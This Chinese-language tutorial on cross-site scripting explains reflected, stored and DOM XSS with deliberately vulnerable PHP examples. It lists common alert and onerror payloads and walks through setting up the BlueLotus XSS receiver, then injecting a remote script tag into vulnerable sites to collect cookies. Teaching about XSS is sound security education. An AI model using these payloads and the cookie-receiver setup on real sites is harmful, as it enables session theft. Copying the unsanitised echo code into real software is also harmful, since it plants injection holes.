- XSS简介
XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言,通过构造特许的恶意代码,可获取用户cookies等敏感信息.
- XSS分类
反射型XSS 存储型XSS DOM型XSS
- 反射型XSS
反射型XSS利用时,需要一个交互的过程,也就是说,攻击者构造的含有恶意代码的连接,需要发送给用户,然后用户点击. 示例代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
</body>
</html>
- 存储型XSS
存储型XSS顾名思义,是将恶意代码,存储起来,也就是存储到我们的数据库中,当某些功能需要调用这些数据时,就会调用存储的XSS代码,从而执行恶意代码
- DOM型XSS
DOM就是指文档对象模型,这类XSS漏洞是发生在文档树的一些节点当中,其本质上同样是属于反射型XSS。
<?php
error_reporting(0);
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value;
</script>
- XSS获取cookie(模拟实战)
本地测试xss获取cookie用户cookie并登录
- XSS常用payload
<script>alert(document.cookie)</script>
<script>alert(1)</script>
<img src="javascript:alert('XSS')">
<img src=“x” onerror=alert(/1/)>
<a href=”javascript:alert(/1/)”>XSS</a>
JavaScript 是属于网络的脚本语言!
JavaScript 被数百万计的网页用来改进设计、验证表单、检测浏览器、创建cookies,以及更多的应用。
JavaScript 是因特网上最流行的脚本语言。
- XSS平台
源码平台:
蓝莲花战队xss平台:
https://github.com/firesunCN/BlueLotus_XSSReceiver
Xsser.me
http://download.csdn.net/download/u011781521/9722570
公共的xss平台:
http://xss.fbisb.com http://webxss.top/xss/index.php?do=login
- 搭建蓝莲花团队的开源xss平台
1.下载源码 https://github.com/firesunCN/BlueLotus_XSSReceiver
下载之后解压缩到www目录
- 2.访问网站点击安装
- 3.访问http://xxxxxx/admin.php进入xss平台后台页面
- 公共模板包含有常见的js代码
- 在 “我的js”模块中,可以根据上面的模板生成自己的xss payload
- 点击 生成payload,左侧是payload,右侧可以对payload进行转码
- 也可以将生成的js代码按如下格式插入到存在xss漏洞的地方 <script src="js_url"></script> <img src=x οnerrοr=appendChild(createElement('script')).src='js_url' /> 根据xss漏洞的具体情况,修改左侧的代码,payload执行成功之后在接收面板里就会看到结果